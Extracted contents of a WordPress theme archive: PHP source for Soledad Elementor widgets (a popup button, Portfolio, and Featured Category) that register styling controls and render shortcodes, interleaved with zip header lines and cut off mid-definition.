		$border_style = $settings['border_style'] ? $settings['border_style'] : 'solid';
		$icon_pos     = $settings['icon_pos'] ? $settings['icon_pos'] : 'left';
		$align        = $settings['align'] ? $settings['align'] : 'none';
		$align_class  = 'pcbtn-align-' . $align;
		if ( isset( $settings['align_tablet'] ) && $settings['align_tablet'] ) {
			$align_class .= ' pcbtn-talign-' . $settings['align_tablet'];
		}
		if ( isset( $settings['align_mobile'] ) && $settings['align_mobile'] ) {
			$align_class .= ' pcbtn-malign-' . $settings['align_mobile'];
		}
		$add_subtext    = $settings['add_subtext'] ? $settings['add_subtext'] : '';
		$subtext        = $settings['subtext'] ? $settings['subtext'] : '';
		$button_icon    = $settings['button_icon'] ? $settings['button_icon'] : array();
		$icon_html      = '';
		$button_classes = 'pc-popup-btn pcbtn pcbtn-icon-' . $icon_pos;
		if ( $add_borders ) {
			$button_classes .= ' pcbtn-bordered pcbtn-bstyle-' . $border_style;
		}
		if ( 'yes' == $add_icon && ! empty( $button_icon ) ) {
			ob_start();
			\Elementor\Icons_Manager::render_icon( $button_icon );
			$icon_html = ob_get_clean();
		}
		if ( $settings['hover_animation'] ) {
			$button_classes .= ' elementor-animation-' . $settings['hover_animation'];
		}
		$id             = 'penci-btn-popup-' . $this->get_id();
		$id_style       = 'penci-pps-' . $this->get_id();
		$anistyle       = isset( $settings['popup_anityle'] ) && $settings['popup_anityle'] ? $settings['popup_anityle'] : 'move-to-top';
		$popup_position = isset( $settings['popup_position'] ) && $settings['popup_position'] ? $settings['popup_position'] : 'middle-center';
		$popup_cstyle   = isset( $settings['popup_cstyle'] ) && $settings['popup_cstyle'] ? $settings['popup_cstyle'] : 'text';
		?>
        <div class="pcbtn-wrapper penci-button-popup <?php echo $align_class; ?>">
            <a data-popup="<?php echo $id; ?>"
               data-position="<?php echo esc_attr( $popup_position . ' ' . $id_style ); ?>"
               class="<?php echo $button_classes; ?>"
               href="#<?php echo $id; ?>"<?php
			echo $button_id_attr; ?>>
				<span class="pcbtn-wrapperin">
					<span class="pcbtn-content"><?php if ( 'left' == $icon_pos ): echo $icon_html; endif; ?><?php echo do_shortcode( $text ); ?><?php if ( 'right' == $icon_pos ): echo $icon_html; endif; ?></span>
					<?php if ( 'yes' == $add_subtext && $subtext ) { ?>
                        <span class="pcbtn-subtext"><?php echo do_shortcode( $subtext ); ?></span>
					<?php } ?>
				</span>
            </a>
        </div>
        <div id="<?php echo $id; ?>"
             class="<?php echo esc_attr( $anistyle ); ?> <?php echo esc_attr( $popup_position . ' ' . $id_style ); ?> mfp-with-anim button-popup-content">
			<?php if ( 'text' == $popup_cstyle ) {
				echo do_shortcode( $settings['popup_content'] );
			} else if ( 'block' == $popup_cstyle && $settings['popup_block'] ) {
				$popup_render_content = '';
				$popup_block_id       = get_page_by_path( $settings['popup_block'], OBJECT, 'penci-block' )->ID;
				if ( $popup_block_id && did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $popup_block_id )->is_built_with_elementor() ) {
					$popup_render_content .= penci_get_elementor_content( $popup_block_id );
				} else {
					$popup_render_content .= do_shortcode( get_post( $popup_block_id )->post_content );

					$shortcodes_custom_css = get_post_meta( $popup_block_id, '_wpb_shortcodes_custom_css', true );

					$popup_render_content .= '<style data-type="vc_shortcodes-custom-css">';
					if ( ! empty( $shortcodes_custom_css ) ) {
						$popup_render_content .= $shortcodes_custom_css;
					}
					$popup_render_content .= '</style>';
				}
				echo $popup_render_content;
			} ?>
        </div>
		<?php
	}
}
PK     N\ɬ|n  n  0  inc/elementor/modules/penci-portfolio/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPortfolio;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-portfolio';
	}

	public function get_widgets() {
		return array( 'PenciPortfolio' );
	}

	public static function is_active() {
		return class_exists( 'Penci_Portfolio' );
	}
}
PK     N\qj&  &  A  inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciPortfolio\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPortfolio extends Base_Widget {

	public function get_name() {
		return 'penci-portfolio';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Portfolio', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'portfolio' );
	}

	protected function register_controls() {
		

		$this->register_query_section_controls();

		// Section layout
		$this->start_controls_section(
			'section_page', array(
				'label' => esc_html__( 'Portfolio', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'penci_ajax', array(
				'label'     => __( 'Filter with AJAX?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Enable', 'soledad' ),
				'label_off' => __( 'Disable', 'soledad' ),
			)
		);
		$this->add_control(
			'penci_style', array(
				'label'   => __( 'Choose Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'masonry',
				'options' => array(
					'masonry' => esc_html__( 'Masonry', 'soledad' ),
					'grid'    => esc_html__( 'Grid', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'penci_item_style', array(
				'label'   => __( 'Choose Item Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'text_overlay',
				'options' => array(
					'text_overlay' => esc_html__( 'Text Overlay', 'soledad' ),
					'below_img'    => esc_html__( 'Text Below Image', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'penci_column', array(
				'label'   => __( 'Number Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '3',
				'options' => array(
					'3' => esc_html__( '3 Columns', 'soledad' ),
					'2' => esc_html__( '2 Columns', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'penci_image_type', array(
				'label'       => __( 'Image Type', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => 'landscape',
				'options'     => array(
					'square'    => esc_html__( 'Square', 'soledad' ),
					'vertical'  => esc_html__( 'Vertical', 'soledad' ),
					'landscape' => esc_html__( 'Landscape', 'soledad' ),
				),
				'description' => esc_html__( 'This option does not apply for "Masonry" Style', 'soledad' ),
			)
		);

		$this->add_control(
			'penci_filter', array(
				'label'     => __( 'Display Filter?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Show', 'soledad' ),
				'label_off' => __( 'Hide', 'soledad' ),
				'default'   => 'yes',
			)
		);
		$this->add_control(
			'penci_all_text', array(
				'label' => __( 'All Portfolio Text', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);

		$this->add_control(
			'penci_pagination', array(
				'label'   => __( 'Pagination', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'number',
				'options' => array(
					'number'        => esc_html__( 'Numeric Pagination', 'soledad' ),
					'load_more'     => esc_html__( 'Load More Button', 'soledad' ),
					'infinite'      => esc_html__( 'Infinite Load', 'soledad' ),
					'next_previous' => esc_html__( 'Next/Previous', 'soledad' ),
					'none'          => esc_html__( 'None', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'penci_numbermore', array(
				'label'     => __( 'Number of Posts Each Time Load More Posts', 'elementor' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 6,
				'condition' => array( 'penci_pagination' => array( 'load_more', 'infinite' ) )
			)
		);
		$this->add_control(
			'penci_lightbox', array(
				'label'     => __( 'Enable Click on Thumbnails to Open Lightbox?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'default'   => '',
			)
		);
		$this->end_controls_section();
		$this->start_controls_section(
			'section_style_portfolio',
			array(
				'label' => __( 'Portfolio', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		$this->add_control(
			'penci_filter_heading',
			array(
				'label' => __( 'Filter', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'pfilter_color',
			array(
				'label'     => __( 'Link Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} post-entry .penci-portfolio-filter ul li a,{{WRAPPER}} .penci-portfolio-filter ul li a' => 'color: {{VALUE}};'
				),
			)
		);
		$this->add_control(
			'pfilter_hcolor',
			array(
				'label'     => __( 'Link Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} post-entry .penci-portfolio-filter ul li a:hover'  => 'color: {{VALUE}};',
					'{{WRAPPER}} post-entry .penci-portfolio-filter ul li.active a' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-portfolio-filter ul li a:hover'             => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-portfolio-filter ul li.active a'            => 'color: {{VALUE}};'
				),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pfilter_typo',
				'selector' => '{{WRAPPER}} post-entry .penci-portfolio-filter ul li a,{{WRAPPER}} .penci-portfolio-filter ul li a',
			)
		);

		$this->add_control(
			'pbgoverlay_color',
			array(
				'label'     => __( 'Portfolio Background Overlay Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-portfolio-thumbnail a:after' => 'background-color: {{VALUE}};' ),
			)
		);
		// Title
		$this->add_control(
			'ptitle_heading',
			array(
				'label' => __( 'Title', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'ptitle_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .inner-item-portfolio .portfolio-desc h3' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'ptitle_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .inner-item-portfolio .portfolio-desc h3:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'selector' => '{{WRAPPER}} .inner-item-portfolio .portfolio-desc h3',
			)
		);

		// Cat
		$this->add_control(
			'pcat_heading',
			array(
				'label' => __( 'Category', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'pcat_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .inner-item-portfolio .portfolio-desc span' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'pcat_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .inner-item-portfolio .portfolio-desc span:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pcat_typo',
				'selector' => '{{WRAPPER}} .inner-item-portfolio .portfolio-desc span',
			)
		);

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		$atts = array(
			'style',
			'image_type',
			'item_style',
			'number',
			'column',
			'cat',
			'all_text',
			'pagination',
			'numbermore',
			'loop',
			'elementor_query'
		);

		$atts_shortcode = array();

		foreach ( $atts as $att ) {
			if ( empty( $settings[ 'penci_' . $att ] ) ) {
				continue;
			}

			$atts_shortcode[ $att ] = $settings[ 'penci_' . $att ];
		}

		if ( 'yes' == $settings['penci_filter'] ) {
			$atts_shortcode['filter'] = 'true';
		} else {
			$atts_shortcode['filter'] = 'false';
		}

		if ( 'yes' == $settings['penci_lightbox'] ) {
			$atts_shortcode['lightbox'] = 'true';
		} else {
			$atts_shortcode['lightbox'] = 'false';
		}

		if ( 'yes' == $settings['penci_ajax'] ) {
			$atts_shortcode['penci_ajax'] = 'true';
		}

		$query_args = Module::get_query_args( 'posts', $settings );
		$post_type  = $settings['posts_post_type'];

		$tax_query = array();
		if ( 'by_id' != $post_type ) {
			if ( 'post' == $post_type ) {
				$tax_query = isset( $settings['posts_category_ids'] ) ? $settings['posts_category_ids'] : array();
			} elseif ( 'portfolio' == $post_type ) {
				$tax_query = isset( $settings['posts_portfolio-category_ids'] ) ? $settings['posts_portfolio-category_ids'] : array();
			} elseif ( 'product' == $post_type ) {
				$tax_query = isset( $settings['posts_product_cat_ids'] ) ? $settings['posts_product_cat_ids'] : array();
			} elseif ( $post_type ) {
				$taxonomy_objects = get_object_taxonomies( $post_type );

				if ( isset( $taxonomy_objects[0] ) ) {
					$tax_first = $taxonomy_objects[0];

					$setting_key = 'posts_' . $tax_first . '_ids';
					$tax_query   = isset( $settings[ $setting_key ] ) ? $settings[ $setting_key ] : array();
				}
			}
		}

		if ( $tax_query ) {
			$query_args['filter_bar_ids'] = implode( ',', $tax_query );
		}

		$atts_shortcode['elementor_query'] = $query_args;

		if ( class_exists( 'Penci_Soledad_Portfolio_Shortcode' ) ) {
			$portfolio = new \Penci_Soledad_Portfolio_Shortcode;
			echo $portfolio->portfolio_shortcode( $atts_shortcode );
		}
	}
}
PK     N\    3  inc/elementor/modules/penci-featured-cat/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFeaturedCat;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-featured-cat';
	}

	public function get_widgets() {
		return array( 'PenciFeaturedCat' );
	}
}
PK     N\|ŷ  ŷ  G  inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFeaturedCat\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFeaturedCat extends Base_Widget {

	public function get_name() {
		return 'penci-featured-cat';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Featured Cat', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	public function get_script_depends() {
		return [ 'penci_ajax_filter_fcat' ];
	}

	protected function register_controls() {


		$this->register_query_section_controls( true );
		$this->start_controls_section( 'section_layout', array(
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'penci_style', array(
			'label'   => __( 'Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => array(
				'style-1'  => 'Style 1 - 1st Post Grid Featured on Left',
				'style-2'  => 'Style 2 - 1st Post Grid Featured on Top',
				'style-3'  => 'Style 3 - Text Overlay',
				'style-4'  => 'Style 4 - Single Slider',
				'style-5'  => 'Style 5 - Slider 2 Columns',
				'style-6'  => 'Style 6 - 1st Post List Featured on Top',
				'style-7'  => 'Style 7 - Grid 2 Columns',
				'style-8'  => 'Style 8 - List Layout',
				'style-9'  => 'Style 9 - Small List Layout',
				'style-10' => 'Style 10 - 2 First Posts Featured and List',
				'style-11' => 'Style 11 - Text Overlay Center',
				'style-12' => 'Style 12 - Slider 3 Columns',
				'style-13' => 'Style 13 - Grid 3 Columns',
				'style-14' => 'Style 14 - 1st Post Overlay Featured on Top',
				'style-15' => 'Style 15 - Overlay Left then List on Right',
			)
		) );
		$this->add_control( 'thumb15', array(
			'label'     => __( 'Show Thumbnail on Small Posts', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'penci_style' => array( 'style-15' ) ),
		) );

		$this->add_responsive_control( 'spacing_item', array(
			'label'       => __( 'Rows Gap Between Post Items', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content:not(.style-6) .mag-post-box:not(:last-child)'                                                                                                                                                                                                      => 'padding-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .home-featured-cat-content:not(.style-6) .mag-photo'                                                                                                                                                                                                                          => 'margin-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .home-featured-cat-content.style-6 .cat-left,{{WRAPPER}} .home-featured-cat-content.style-7 .penci-grid > li,{{WRAPPER}} .home-featured-cat-content.style-13 .penci-grid.penci-fea-cat-style-13 > li,{{WRAPPER}} .home-featured-cat-content.style-6 .cat-right .mag-post-box' => 'margin-bottom : {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .home-featured-cat-content.style-7 .penci-grid,{{WRAPPER}} .home-featured-cat-content.style-13 .penci-grid.penci-fea-cat-style-13'                                                                                                                                            => 'row-gap : {{SIZE}}{{UNIT}}',
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-8',
					'style-11',
					'style-12'
				]
			],
		) );

		$this->add_responsive_control( 'horizontal_spacing', array(
			'label'          => __( 'Horizontal Spacing Between Post Items', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array( 'size' => '' ),
			'mobile_default' => [
				'size' => 0
			],
			'devices'        => [ 'desktop', 'tablet' ],
			'range'          => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'      => array(
				'(tablet+) body:not(.rtl) {{WRAPPER}} .home-featured-cat-content:not(.style-6) .cat-left'                                                                             => 'padding-right: calc({{SIZE}}{{UNIT}} / 2)',
				'(tablet+) body:not(.rtl) {{WRAPPER}} .home-featured-cat-content:not(.style-6) .cat-right'                                                                            => 'padding-left: calc({{SIZE}}{{UNIT}} / 2)',
				'(tablet+) body.rtl {{WRAPPER}} .home-featured-cat-content:not(.style-6) .cat-left'                                                                                   => 'padding-left: calc({{SIZE}}{{UNIT}} / 2)',
				'(tablet+) body.rtl {{WRAPPER}} .home-featured-cat-content:not(.style-6) .cat-right'                                                                                  => 'padding-right: calc({{SIZE}}{{UNIT}} / 2)',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-3'                                                                                                             => 'width:calc(100% + {{SIZE}}{{UNIT}});margin-left: -{{SIZE}}{{UNIT}};margin-right: -{{SIZE}}{{UNIT}}',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-5 .owl-prev, {{WRAPPER}} .home-featured-cat-content.style-12 .owl-prev'                                        => 'left: calc({{SIZE}}{{UNIT}} / 2 + 20px);',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-5 .owl-next, {{WRAPPER}} .home-featured-cat-content.style-12 .owl-next'                                        => 'right: calc({{SIZE}}{{UNIT}} / 2 + 20px);',
				'(tablet+){{WRAPPER}} .penci-magcat-carousel-wrapper'                                                                                                                 => 'margin-left: calc({{SIZE}}{{UNIT}} * -1 / 2);margin-right: calc({{SIZE}}{{UNIT}} * -1 / 2);',
				'(tablet+){{WRAPPER}} .home-featured-cat-content .mag-photo,{{WRAPPER}} .penci-magcat-carousel .magcat-carousel'                                                      => 'padding-left: calc({{SIZE}}{{UNIT}} / 2);padding-right: calc({{SIZE}}{{UNIT}} / 2);',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-9 .mag-post-box,{{WRAPPER}} .home-featured-cat-content.style-10 .mag-post-box'                                 => 'width:calc(50% - calc({{SIZE}}{{UNIT}}/2) );margin-right:{{SIZE}}{{UNIT}}',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-9 .mag-post-box:nth-child(2n+2),{{WRAPPER}} .home-featured-cat-content.style-10 .mag-post-box:nth-child(2n+2)' => 'margin-right:0',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-13 .penci-grid.penci-fea-cat-style-13'                                                                         => '--pcrgap: {{SIZE}}{{UNIT}}',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-7 .penci-grid.penci-fea-cat-style-7'                                                                           => '--pcrgap: {{SIZE}}{{UNIT}}',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-6 .cat-right .mag-post-box'                                                                                    => 'width:calc(50% - calc({{SIZE}}{{UNIT}} / 2) );margin-right:{{SIZE}}{{UNIT}}',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-6 .cat-right .mag-post-box:nth-child(2n+2)'                                                                    => 'margin-right:0',
			),
			'label_block'    => true,
			'condition'      => [
				'penci_style!' => [
					'style-2',
					'style-3',
					'style-4',
					'style-8',
					'style-11',
					'style-14',
				]
			],
		) );

		$this->add_responsive_control( 'simgwidth', array(
			'label'     => __( 'Custom Image Width for Small Posts', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .home-featured-cat-content .penci-image-holder.small-fix-size' => 'width: {{SIZE}}px;',
			),
			'condition' => array(
				'penci_style' => array(
					'style-1',
					'style-2',
					'style-6',
					'style-9',
					'style-10',
					'style-15'
				)
			),
		) );

		$this->add_responsive_control( 'penci_columns', array(
			'label'          => __( 'Columns', 'soledad' ),
			'type'           => Controls_Manager::SELECT,
			'default'        => '',
			'tablet_default' => '1',
			'mobile_default' => '1',
			'options'        => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'condition'      => array( 'penci_style' => array( 'style-3', 'style-11' ) ),
		) );

		$this->add_control( 'penci_column_gap', array(
			'label'     => __( 'Columns Gap', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-featured-cat-sc:not( .penci-featured-cat-ctcol ) .home-featured-cat-content'            => 'width: calc(100% + {{SIZE}}{{UNIT}});margin-left: calc(-{{SIZE}}{{UNIT}}/2); margin-right: calc(-{{SIZE}}{{UNIT}}/2)',
				'{{WRAPPER}} .penci-featured-cat-sc:not( .penci-featured-cat-ctcol ) .home-featured-cat-content .mag-photo' => 'padding-left: calc({{SIZE}}{{UNIT}}/2); padding-right: calc({{SIZE}}{{UNIT}}/2)',
				'{{WRAPPER}} .penci-featured-cat-ctcol .home-featured-cat-content'                                          => 'grid-column-gap: {{SIZE}}{{UNIT}}'
			),
			'condition' => array( 'penci_style' => array( 'style-3', 'style-11' ) ),
		) );

		$this->add_control( 'penci_row_gap', array(
			'label'              => __( 'Rows Gap', 'soledad' ),
			'type'               => Controls_Manager::SLIDER,
			'range'              => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
			'frontend_available' => true,
			'selectors'          => array(
				'{{WRAPPER}} .mag-cat-style-8 .penci-grid'                                                                  => 'row-gap: 0',
				'{{WRAPPER}} .penci-featured-cat-sc:not( .penci-featured-cat-ctcol ) .home-featured-cat-content .mag-photo' => 'margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-featured-cat-ctcol .home-featured-cat-content'                                          => 'grid-row-gap: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .mag-cat-style-8 .penci-grid li.list-post:not(:last-child)'                                    => 'padding-bottom: calc({{SIZE}}{{UNIT}}/2); margin-bottom: calc({{SIZE}}{{UNIT}}/2)',
			),
			'condition'          => array(
				'penci_style' => array(
					'style-3',
					'style-8',
					'style-11',
				)
			),
		) );

		$this->add_control( 'penci_featimg_size', array(
			'label'                => __( 'Image Size Type', 'soledad' ),
			'type'                 => Controls_Manager::SELECT,
			'default'              => '',
			'options'              => array(
				''           => esc_html__( 'Default', 'soledad' ),
				'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
				'square'     => esc_html__( 'Square Size', 'soledad' ),
				'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
				'custom'     => esc_html__( 'Custom', 'soledad' ),
			),
			'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => '{{VALUE}}', ),
			'selectors_dictionary' => array(
				'horizontal' => 'padding-top: 66.6667%;',
				'square'     => 'padding-top: 100%;',
				'vertical'   => 'padding-top: 135.4%;',
			)
		) );
		$this->add_responsive_control( 'penci_featimg_ratio', array(
			'label'          => __( 'Image Ratio', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array( 'size' => 0.66 ),
			'tablet_default' => array( 'size' => '' ),
			'mobile_default' => array( 'size' => 0.5 ),
			'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
			'selectors'      => array(
				'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
			),
			'condition'      => array( 'penci_featimg_size' => 'custom' ),
		) );
		$this->add_control( 'thumb_size', array(
			'label'     => __( 'Custom Image size', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => $this->get_list_image_sizes( true ),
			'condition' => array( 'penci_featimg_size' => 'custom' ),
		) );

		$this->add_control( 'big_title_length', array(
			'label'       => __( 'Custom Words Length for Post Titles for Big Posts', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'label_block' => true,
			'default'     => '',
		) );
		$this->add_control( '_title_length', array(
			'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'label_block' => true,
			'default'     => '',
		) );

		$this->add_control( 'remove_dot', array(
			'label'     => __( 'Remove Dot Before The Post Title', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'penci_style' => array( 'style-14' ) ),
			'selectors' => array(
				'{{WRAPPER}} .home-featured-cat-content.style-14 .magcat-padding'        => 'padding: 0;',
				'{{WRAPPER}} .home-featured-cat-content.style-14 .magcat-padding:before' => 'content: none; display: none;',
			),
		) );

		$featured_cat_opts = array(
			'enable_meta_overlay' => array(
				'label' => 'Enable Post Meta Overlay Featured Image',
				'desc'  => 'This option just apply for or Featured Category Style 7'
			),
			'hide_author'         => array( 'label' => 'Hide Post Author', 'desc' => '' ),
			'show_author_sposts'  => array( 'label' => 'Show Post Author on Small Posts', 'desc' => '' ),
			'hide_cat'            => array(
				'label' => 'Hide Category',
				'desc'  => 'This option just apply for or Featured Category Style 8'
			),
			'hide_icon_format'    => array( 'label' => 'Hide Icon Post Format', 'desc' => '' ),
			'hide_date'           => array( 'label' => 'Hide Post Date', 'desc' => '' ),
			'show_commentcount'   => array( 'label' => 'Show Comment Count', 'desc' => '' ),
			'show_viewscount'     => array( 'label' => 'Show Views Count', 'desc' => '' ),
			'hide_readtime'       => array( 'label' => 'Hide Reading Time', 'desc' => '' ),
			'hide_excerpt'        => array( 'label' => 'Hide Post Excerpt', 'desc' => '' ),
			'hide_excerpt_line'   => array( 'label' => 'Remove Line Above Post Excerpt', 'desc' => '' ),
		);

		foreach ( $featured_cat_opts as $featured_cat_key => $featured_cat_opt ) {
			$this->add_control( $featured_cat_key, array(
				'label'       => $featured_cat_opt['label'],
				'type'        => Controls_Manager::SWITCHER,
				'description' => $featured_cat_opt['desc'],
			) );
		}

		$this->add_control( 'cat_rmborder_bottom', array(
			'label'     => __( 'Remove Borders on Post Items', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .home-featured-cat-content .mag-post-box, {{WRAPPER}} .home-featured-cat-content.style-8 .penci-grid li.list-post'                     => 'border: none !important;',
				'{{WRAPPER}} .home-featured-cat-content .mag-post-box:not(:last-child)'                                                                             => 'margin-bottom: 20px; padding-bottom: 0;',
				'{{WRAPPER}} .home-featured-cat-content.style-2 .mag-post-box.first-post, {{WRAPPER}} .home-featured-cat-content.style-10 .mag-post-box.first-post' => 'padding-bottom: 0;',
				'{{WRAPPER}} .home-featured-cat-content.style-14 .mag-post-box, {{WRAPPER}} .home-featured-cat-content.style-14 .mag-post-box'                      => 'padding-bottom: 0; margin-bottom: 20px;',
			),
		) );

		$this->add_control( '_excerpt_length', array(
			'label'     => __( 'Custom Excerpt Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'condition' => array(
				'hide_excerpt!' => 'yes',
				'penci_style'   => array(
					'style-1',
					'style-2',
					'style-6',
					'style-7',
					'style-8',
					'style-10'
				)
			),
		) );

		$this->add_control( 'cat_autoplay', array(
			'label'     => __( 'Disable Autoplay on the Slider', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'penci_style' => array( 'style-4', 'style-5', 'style-12' ) ),
		) );

		// Enable view all button
		$this->add_control( 'cat_seemore', array(
			'label'     => __( 'Enable "View All" Button', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'separator' => 'before',
		) );
		$this->add_control( 'cat_view_link', array(
			'label'       => __( 'Custom Link for "View All" Button', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'placeholder' => __( 'https://your-link.com', 'soledad' ),
			'condition'   => array( 'cat_seemore' => 'yes' ),
			'label_block' => true,
		) );

		$this->add_control( 'cat_remove_arrow', array(
			'label'     => __( 'Remove arrow on "View All"', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'cat_seemore' => 'yes' ),
		) );
		$this->add_control( 'cat_readmore_button', array(
			'label'     => __( 'Make "View All" is A Button', 'soledad' ),
